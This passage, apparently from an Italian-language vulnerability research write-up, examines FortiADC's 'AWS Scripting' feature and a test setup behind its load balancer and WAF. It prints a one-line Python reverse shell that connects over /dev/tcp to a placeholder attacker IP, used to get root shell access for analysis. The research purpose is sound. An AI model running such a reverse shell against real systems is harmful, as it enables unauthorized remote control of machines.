Dopo aver distribuito un'istanza del prodotto, sono stati analizzati i suoi componenti. Una delle prime cose che è stata identificata è la cosiddetta funzionalità "AWS Scripting", che consente all'amministratore di eseguire determinate attività di gestione caricando script Python ed eseguendoli:
"Gli utenti possono caricare script Python su FortiADC (sistema > pagina AWS Scripting) con l'impostazione del gruppo di traffico ed eseguire lo script sul FortiADC a cui appartiene il suo gruppo di traffico".
In altre parole, questo significa che gli utenti possono eseguire script Python arbitrari sull'application server. Cosa può andare storto? Questa funzionalità può essere abusata caricando ed eseguendo il seguente script per creare una shell inversa su una macchina controllata da un aggressore.
import os; os.system("bash -i >e /dev/tcp/<attacker-ip>/<port> 0>e1")
Si è deciso di non segnalare questo problema al fornitore, poiché faceva parte della funzionalità prevista a disposizione dell'amministratore, e si è previsto che il fornitore non lo considererà una vulnerabilità di sicurezza. Tuttavia, dal momento che l'interfaccia di gestione SSH di FortiADC è risultata essere piuttosto limitata e forniva solo il modo di interagire con alcuni componenti dell'applicazione, ottenere l'accesso al sistema operativo potrebbe facilitare un'ulteriore analisi dell'applicazione. Vale anche la pena ricordare che l'applicazione out-of-the-box viene eseguita come utente root.
Il raggiungimento dell'esecuzione di comandi remoti è solitamente considerato un gioiello della corona quando si tratta di ricerca di vulnerabilità. Pertanto, si è cercato di identificare i modi per innescarla dal punto di vista degli utenti non autenticati. Tuttavia, poiché non sono stati identificati problemi di autenticazione o autorizzazione, si è deciso di spostare l'attenzione dall'attacco all'interfaccia di gestione stessa all'identificazione di difetti nel modo in cui FortiADC gestisce le richieste alle risorse dietro il bilanciatore di carico e il firewall delle applicazioni web (WAF). A tal fine, è stato distribuito separatamente un semplice server web, configurato per essere gestito dal bilanciatore di carico integrato di FortiADC. Anche il componente WAF è stato abilitato per il gruppo di bilanciamento del carico corrispondente. Sul server web dietro il bilanciatore di carico è stata distribuita una semplice applicazione web che rifletteva solo i parametri inviati con le richieste in entrata.